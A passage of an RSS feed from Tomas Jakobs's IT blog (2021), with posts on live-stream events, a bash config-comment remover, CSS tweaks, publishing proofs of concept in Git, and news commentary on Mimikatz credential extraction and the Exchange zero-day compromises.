&lt;blockquote>
&lt;p>Do not click on links in mails, chats, PDFs and Office documents!&lt;/p>
&lt;/blockquote>
&lt;p>You are welcome.&lt;/p>
&lt;p>Tomas Jakobs&lt;/p></content></item><item><title>Live-Event Libreddit</title><link>https://blog.jakobs.systems/en/micro/20210616-live-event-libreddit/</link><pubDate>Wed, 16 Jun 2021 18:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210616-live-event-libreddit/</guid><description>Join this upcoming Wednesday-Live Event at 4 pm local time</description><category>Streaming</category><category>Event</category><category>Libreddit</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>You are welcome!&lt;/p>
&lt;/blockquote></content></item><item><title>Simple Configcleaner</title><link>https://blog.jakobs.systems/en/micro/20210611-simple-configcleaner/</link><pubDate>Mon, 14 Jun 2021 11:10:44 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210611-simple-configcleaner/</guid><description>Just a simple Bashscript for cleaning up Config-Files</description><category>Tools</category><category>Bash</category><category>Development</category><category>Opensource</category><content>&lt;p>The simple, unspectacular things in life bring you ahead the curve. This bash script, for instance, removes all comments from a configuration file. In order that no empty lines remain instead, these are subsequently removed afterwards. What remains is the essence: what really counts.&lt;/p>
&lt;p>The usage is straightforward: Just add the desired config file(s) as parameters and you&amp;rsquo;re done!&lt;/p>
&lt;pre tabindex="0">&lt;code>#!/bin/bash
# Beseitigt alle Kommentar- und Leerzeilen aus einer Configfile
# Sichert Datei mit Erweiterung .backup und
# erwartet Dateiname oder -liste als Parameter
for FILE in &amp;#34;$@&amp;#34;
do
# Erstellt Sicherungskopie(n)
cp --backup=numbered $FILE $FILE.backup
# Entfernt alle Kommentarzeilen &amp;gt; Arbeitsdatei
sed -e &amp;#39;s/#.*$//&amp;#39; $FILE &amp;gt; $FILE.tmp
# Entfernt alle Leerzeilen aus Arbeitsdatei
sed -i &amp;#39;/^$/d&amp;#39; $FILE.tmp
# Ersetzt Ausgangsdatei mit Arbeitsdatei
mv $FILE.tmp $FILE
done;
&lt;/code>&lt;/pre>&lt;p>This simplifies automation and above all the search in page-long comments within a config file. However, be careful! Behind every line theres much of wisdom: Everything after a # sign is mercilessly removed, really everything! Take the following line as example:&lt;/p>
&lt;pre tabindex="0">&lt;code>test = &amp;#34;https://link#something&amp;#34;
&lt;/code>&lt;/pre>&lt;p>this will become&lt;/p>
&lt;pre tabindex="0">&lt;code>test = &amp;#34;https://link
&lt;/code>&lt;/pre>&lt;p>The syntax (missing closing quotation marks) as well as the content itself are no longer correct and lead to errors. Therefore I always enforce an automatic backup of the original. Unfortunately, fine-tuning the RegEx is not helpfully either, due to the fact that comments often indented with spaces or tabs or come after a command.&lt;/p>
&lt;p>Know your tools!&lt;/p>
&lt;p>Stay Healthy!&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Live-Event zu Mayan DMS</title><link>https://blog.jakobs.systems/en/micro/20210610-live-event-mayan-dms/</link><pubDate>Thu, 10 Jun 2021 18:50:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210610-live-event-mayan-dms/</guid><description>Join this upcoming Wednesday-Live Event at 4 pm local time</description><category>Streaming</category><category>Event</category><category>MayanDMS</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p>
&lt;p>You are welcome!&lt;/p></content></item><item><title>Drawn to the dark side</title><link>https://blog.jakobs.systems/en/micro/20210609-darkside/</link><pubDate>Wed, 09 Jun 2021 17:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210609-darkside/</guid><description>Der Blog ist nun auch im Dark-Mode</description><category>Websites</category><category>CSS</category><category>Blog</category><category>Development</category><content>&lt;p>One issue left from my CSS-Hacking-Session last month: The Dark-Mode of this Website. Well, today I finally managed to activate the dark side of the force. Enjoy!&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210609-darkside.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210609-darkside.webp#c" alt="Screenshots of the dark and light side of the force" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Live-Event: Windows Server 2022</title><link>https://blog.jakobs.systems/en/micro/20210608-live-event-winserver2022/</link><pubDate>Tue, 08 Jun 2021 05:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210608-live-event-winserver2022/</guid><description>Join this upcoming Wednesday-Live Event at 4 pm local time</description><category>Streaming</category><category>Event</category><category>Microsoft</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p></content></item><item><title>Use Git! Publish Git-Repositories!</title><link>https://blog.jakobs.systems/en/micro/20210601-pocs-as-git/</link><pubDate>Tue, 01 Jun 2021 08:13:51 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210601-pocs-as-git/</guid><description>PoCs and more as Git-Repositories</description><category>PoC</category><category>GitHub</category><category>Gitea</category><category>Konzepte</category><content>&lt;p>Many PoCs appear as textfiles with references to company websites or blogs. Reverse engineer Axel Souchet publishes his PoCs in a way I find more convenient and much better: As a git repository. Here his latest release on CVE-2021-28476 from a few hours ago, how via RCE a guest can breakout of a HyperV environment&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The further course of a publication is not less exciting, if to be learned and understood. And there are always questions or additions to something. As an example in the screenshot below the commits of an older PoC to CVE-2019-9810 from last year&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210601-pocs-as-git.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210601-pocs-as-git.webp#c" alt="Screenshot of commits" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Only the fact that Microsoft GitHub is used as a hosting platform leaves a bad taste. With Codeberg.org there is a small, non-commercial and donation-funded alternative without collecting behavioural data&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Creating your own Gitea instance is not witchcraft either, at least not for developers and techies&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. The web interface makes it easy to use even for non-techies. Git is the best way to deal with complex processes with multiple participants and stakeholders in a transparent and traceable way. Hence my encouragement:&lt;/p>
&lt;blockquote>
&lt;p>Use Git! Publish Git-Repositories!&lt;/p>
&lt;/blockquote>
&lt;p>Enjoy,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://github.com/0vercl0k/CVE-2021-28476">https://github.com/0vercl0k/CVE-2021-28476&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://github.com/0vercl0k/CVE-2019-9810/commits/master">https://github.com/0vercl0k/CVE-2019-9810/commits/master&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://codeberg.org/">https://codeberg.org/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/gitea-statt-github/">https://blog.jakobs.systems/blog/gitea-statt-github/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Live-Event: GNOME 40</title><link>https://blog.jakobs.systems/en/micro/20210529-live-event-gnome40/</link><pubDate>Sat, 29 May 2021 16:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210529-live-event-gnome40/</guid><description>Join this upcoming Wednesday-Live Event at 4 pm local time</description><category>Streaming</category><category>Event</category><category>GNOME</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p>
&lt;p>You are welcome!&lt;/p></content></item><item><title>Cat pictures always go</title><link>https://blog.jakobs.systems/en/micro/20210524-livestream/</link><pubDate>Sun, 23 May 2021 09:48:52 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210524-livestream/</guid><description>Live-Streaming like Twitch, but better</description><category>RTMP</category><category>Streaming</category><category>Owncast</category><category>Development</category><content>&lt;p>I finished the weekends&amp;rsquo; flow with the integration of a &lt;a href="https://blog.jakobs.systems/live">live streaming menuitem&lt;/a>. Not expecting to have an insane huge audience with this blog, I dare to hold small but maybe interesting live sessions at irregular intervals.&lt;/p>
&lt;p>These might include installation evenings with unknown software, hacking sessions in programming projects without NDA. Definitely some gaming or flight simulator sessions and for customer meetings I would like to be able to show my server&amp;rsquo;s dashboard: &amp;ldquo;Look, by clicking here, this curve goes up there&amp;rdquo;.&lt;/p>
&lt;p>Cat pictures always go I was told.&lt;br>
Well, with that in mind, I wish you a lot of fun watching!&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-css-hacks-video.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-css-hacks-video.webp#c" alt="Now online! Enjoy my Cat-Cam!" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>No Javascript harmed or died</title><link>https://blog.jakobs.systems/en/micro/20210521-css-hacks/</link><pubDate>Fri, 21 May 2021 17:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210521-css-hacks/</guid><description>Some decent CSS hacks to improve this site</description><category>Websites</category><category>CSS</category><category>Blog</category><category>Development</category><content>&lt;p>Friday afternoon, a long bank holiday weekend lies straight ahead. Time to fix a few issues in this blog. Basically just minor ones and for the most visitors irrelevant. But for me important details, making the difference to the standard modular websites.&lt;/p>
&lt;h2 id="yellow-textmarker">Yellow Textmarker&lt;/h2>
&lt;p>One of these inconspicuous details is the highlighting with a &amp;ldquo;yellow textmarker&amp;rdquo;. I have been annoyed more than once when highlighting is done in the standard system colours. For a viewer, exactly the opposite happens: The highlighting worsens the readability and the contrast as the following picture shows:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-css-hacks-gelb.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-css-hacks-gelb.webp#c" alt="Screenshot, poor and low contrast on the left, clearly more legible on the right" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>With a few lines of CSS I&amp;rsquo;ve added the pseudo-class ::selection and look forward to the next webinar, where I can show something more clearly.&lt;/p>
&lt;h2 id="more-drama">More Drama&lt;/h2>
&lt;p>An important quality feature of this site for me: It is discreet and free of javascripts, cookies and other dependencies. Visitors are not bothered with consent requests. This is exactly what makes the loading time optimal for Google and other search engines.&lt;/p>
&lt;p>On the other hand, the page looks quite static and may need a little more &amp;ldquo;action&amp;rdquo;. With the help of another CSS hack, I have added a typewriter effect to the title and let the cursor blink permanently in a loop.&lt;/p>
&lt;h2 id="update-tags">Update-Tags&lt;/h2>
&lt;p>Another detail: I was not able to indicate updated blogs accordingly. In most cases a &amp;ldquo;&amp;ldquo;Update&amp;rdquo;&amp;rdquo; suffix was added to the title. But this seems &amp;ldquo;lazy&amp;rdquo;, has a damaging impact on searches and is visually not noticeable when looking at the page. In future, nice update tags will mark updated content.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-css-hacks-tags.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-css-hacks-tags.webp#c" alt="Screenshot, lazy left vs. done right" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="tooltips">Tooltips&lt;/h2>
&lt;p>Last but not least, some explanatory text was missing for the minimalist icons in the top navigation. More icons will be added in the future. Tooltips are the solution without disturbing the appearance of the page. In order to make Hugo to distinguish between German and English texts, this is done with the help of partials in the corresponding i18n language files.&lt;/p>
&lt;p>For a casual Friday afternoon, a lot of small improvements. Everything in pure CSS, no Javascript harmed or died.&lt;/p>
&lt;p>In that spirit,&lt;br>
have a sunny weekend!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p></content></item><item><title>Microsoft Security destroyed</title><link>https://blog.jakobs.systems/en/micro/20210517-windows-sccm/</link><pubDate>Mon, 17 May 2021 08:12:44 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210517-windows-sccm/</guid><description>Mimikatz now can tell passwords in plain text</description><category>Microsoft</category><category>Security</category><category>Mimikatz</category><content>&lt;p>Benjamin Delpy did it again. This time his attention was focused on the aged SCCM&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. Once developed in the late 90s, it looks back on a turbulent history with some twists and turns. Unfortunately the security behind it looks exactly the same what you would expect and at best can be considered as &amp;ldquo;rotten&amp;rdquo; when still using 3DES&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> to communicate with clients&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The &lt;a href="https://blog.jakobs.systems/vid/sccm-mimikatz.mp4">video&lt;/a> of a current Windows 2019 server with RDS/RDP terminal services clearly stand for itself. No prior code injection, no previously installed tools or libraries - just mimikatz&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> on any connected AD machine and all passwords of current logged in users become visible in plain text&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-sccm-mimikatz.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-sccm-mimikatz.webp#c" alt="mimikatz Sceenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>According to Benjamin Delpy, Mimikatz reads the passwords directly from the terminal server&amp;rsquo;s memory. So far, this has been tested on current Windows terminal servers 2016/2019 and Windows 10 LTSC. Further tests also confirm 2012R2 as well as Windows 10 21H1. With the release dated on 18.05.2021&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>, the PINs of smartcards can also be extracted in plain text on the server. External credential providers (e.g. PrivacyIDEA) are not affected yet.&lt;/p>
&lt;p>&lt;strong>The main problem: Why is Microsoft disregarding industry best practice and keeping user passwords and smartcard PINs (!!!) unprotected and readable for everyone in plain text in the server&amp;rsquo;s main memory?&lt;/strong>&lt;/p>
&lt;p>The next weeks and months are going to be very interesting. For decades, I have propagated the idea of locking Windows-AD networks behind controllable Linux application gateways or proxies. Unfortunately, the situation in many companies is that everything is integrated into an AD which is not locked away quickly. This is clearly visible in companies that can not even be reached by phone in the event of a ransomware incident.&lt;/p>
&lt;p>If I may quote myself from last year, regarding home office workplaces and how they can reasonably and sustainably connect to business applications on an RDS/RDP terminal server &lt;sup id="fnref1:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>:&lt;/p>
&lt;blockquote>
&lt;p>For me, terminal servers with free HTTPS gateways are an essential part of sustainable development.&lt;/p>
&lt;/blockquote>
&lt;p>Told you so!&lt;br>
Have fun!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_System_Center_Configuration_Manager">https://en.wikipedia.org/wiki/Microsoft_System_Center_Configuration_Manager&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Triple_DES">https://en.wikipedia.org/wiki/Triple_DES&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/security/cryptographic-controls-technical-reference">https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/security/cryptographic-controls-technical-reference&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://twitter.com/gentilkiwi/status/1393986751501307906#m">https://twitter.com/gentilkiwi/status/1393986751501307906#m&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>🚫 &lt;a href="https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20210518">https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20210518&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>New PDF-Workflow</title><link>https://blog.jakobs.systems/en/micro/20210427-pandoc-workflow/</link><pubDate>Tue, 27 Apr 2021 15:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210427-pandoc-workflow/</guid><description>I've improved my Workflow</description><category>Pandoc</category><category>Websites</category><category>News</category><category>Blog</category><category>Opensource</category><content>&lt;p>The last two days I improved my own architecture and extended everything with a PDF workflow. If you like, you may download my larger blog series from the previous year in one piece as a PDF file and read them offline, a total of 75+ pages of condensed facts:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://blog.jakobs.systems/pdf/2020-cwa.pdf">Corona Warning App&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.jakobs.systems/pdf/2020-homeoffice.pdf">Home Office Workplaces&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.jakobs.systems/pdf/2020-macbook-revival.pdf">Macbook Revival&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Come on, PDFs for old articles? Seriously? Well these are just test-balloons and working examples for my new PDF workflow. With the help of Pandoc, Git, Bash and Xelatex I have been able to achieve a significant improvement. The three linked PDFs are 100% automatically created from the content of this blog without my intervention. In future, this workflow will also be used for audits, documentation or other articles for third parties.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-pandoc.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-pandoc.webp#c" alt="Screenshot of a night session" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>A nice side effect: No proprietary software, no Apple Pages nor Affinity Designer had to be used to create these PDFs. At the same time, I have 100% confidence, that I will still be able to use the content 20 years from now on, whatever hard- and software are used then.&lt;/p>
&lt;p>The blog article on Pandoc, Tex and how everything seamlessly docks with Hugo will follow soon.&lt;/p>
&lt;p>Stay healthy!&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Anti-Pattern for Complexity Reduction</title><link>https://blog.jakobs.systems/en/blog/20210420-antipattern/</link><pubDate>Tue, 20 Apr 2021 08:20:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210420-antipattern/</guid><description>Successful Anti-Pattern, never implemented</description><category>Concepts</category><category>Digitalisation</category><category>Anti-Pattern</category><content>&lt;p>There is an unwritten law in software development and IT operations. An anti-pattern&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> for effective problem solving and complexity reduction. No one is crazy enough to adopt it. No customer on earth willing to pay for it. But they exist, the bright moments in the life cycle of a company, where this law can be applied. Here&amp;rsquo;s how it can be defined:&lt;/p>
&lt;p>If you have a task or problem and you know how to solve it, then throw away your code after completion and tear apart an installation again.&lt;/p>
&lt;p>Repeat everything, but document every step in the second attempt. When finished, throw everything away one more time and continue to work only with the documentation. Think about simplifications, vary the procedures, create recursions, whatever, but always strive to reduce complexity without succumbing to the temptation to add functionality&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Once the documentation is in place, the final attempt can be made to solve the problem. You will see that while the first attempt took weeks and the second days, the third will be easily done and can be measured in hours. Simultaneously, the final solution is sustainable, usually elegant, and free of ballast, complexity and any design flaws. And by the way: this is exactly the hallmark of good documentation.&lt;/p>
&lt;p>Wish you good luck,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Anti-pattern">https://en.wikipedia.org/wiki/Anti-pattern&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Second-system_effect">https://en.wikipedia.org/wiki/Second-system_effect&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Quick Analysis: Snipe-IT in c't</title><link>https://blog.jakobs.systems/en/micro/20210314-snipe-it-heise/</link><pubDate>Sun, 14 Mar 2021 07:09:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210314-snipe-it-heise/</guid><description>Some Ad for my own article in c't magazine</description><category>ISMS</category><category>News</category><category>Operations</category><category>ct</category><category>Opensource</category><content>&lt;p>The foundation of every ISMS is a &amp;ldquo;living&amp;rdquo; inventory. In an ideal world, this communicates with the Ansible, Bash or PowerShell scripts within IT Operations. Snipe-IT, which I value and have successfully used for many years, was unknown to c&amp;rsquo;t up until now.&lt;/p>
&lt;p>Enjoy the read (in German): &lt;a href="https://www.heise.de/select/ct/2021/7/2103307460901919645">&amp;ldquo;IT-Assets im Griff&amp;rdquo; in der c&amp;rsquo;t Ausgabe 7/2021&lt;/a>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/preview-heise-2021-07-snipe-it.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/preview-heise-2021-07-snipe-it.webp#c" alt="Voransicht Kurzanalyse Snipe-IT" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Microsoft Exchange Meltdown</title><link>https://blog.jakobs.systems/en/micro/20210305-exchange-meltdown/</link><pubDate>Sat, 06 Mar 2021 14:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210305-exchange-meltdown/</guid><description>Exchange-Servers are all lost</description><category>Exchange</category><category>Microsoft</category><category>Mailserver</category><category>Security</category><content>&lt;p>Everybody with an Internet-faced Microsoft Exchange server, Outlook Web Access (OWA) or Exchange Active Sync (EAS) can consider his or her system as compromised since January. This is reported by security experts like Chris Krebs&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and news magazines like Golem&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> or Heise&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. In Germany, the BSI has contacted more than 9,000 companies&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. The scope of the current security vulnerabilities are comparable to the previous Microsoft major Incidents regarding Eternal-Blue&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> and Wannacry&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> 4 years ago.&lt;/p>
&lt;p>It is not the first warning from the BSI regarding Microsoft Exchange&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>. The advisories come at increasingly shorter intervals with increased shockwaves for the affected. Of course, anti-virus solutions - snake oil as I tend to say - are a quite poor protection. Never have been even close to be one in the past decades. Unfortunately, too many IT managers still trust this business model.&lt;/p>
&lt;p>An installation of the emergency patches&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> released on 02.03.2021 closes the four known zero-day vulnerabilities - but it does not eliminate any malware, already in the system. The US CERT has published technical background information on their website&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The 21-year-old Active Directory service infrastructure and Microsoft closed-source policy show that they are not up to the demands of modern systems on the Internet, again. Effective security concepts, multi-factor authentication and, above all, transparency are lacking. In addition, costs and optimisation pressure weight on the companies. Security is not considered &amp;ldquo;sexy&amp;rdquo;. Quality and digital sustainability as values cannot be modeled in the Excel spreadsheets of business people and accountants. Bruce Schneier described this very well with the following quote:&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>(&amp;hellip;) Terrible security is the result of a conscious business decision to reduce costs in the name of short-term profits.&lt;/p>
&lt;/blockquote>
&lt;p>The next days and weeks promise to be exciting. In the US alone, 30,000 systems&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> are affected and news of &amp;ldquo;knocked out&amp;rdquo; Windows networks has started to gain momentum here aswell.&lt;/p>
&lt;p>I support companies with my know-how, provide first aid and build sustainable, secure infrastructures. With my own infrastructure consisting of free Linux servers, routers and firewalls, I set a good example.&lt;/p>
&lt;p>Stay safe and healthy,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/">https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.golem.de/news/hafnium-microsoft-warnt-vor-exchange-angriffen-per-0-day-2103-154643.html">https://www.golem.de/news/hafnium-microsoft-warnt-vor-exchange-angriffen-per-0-day-2103-154643.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
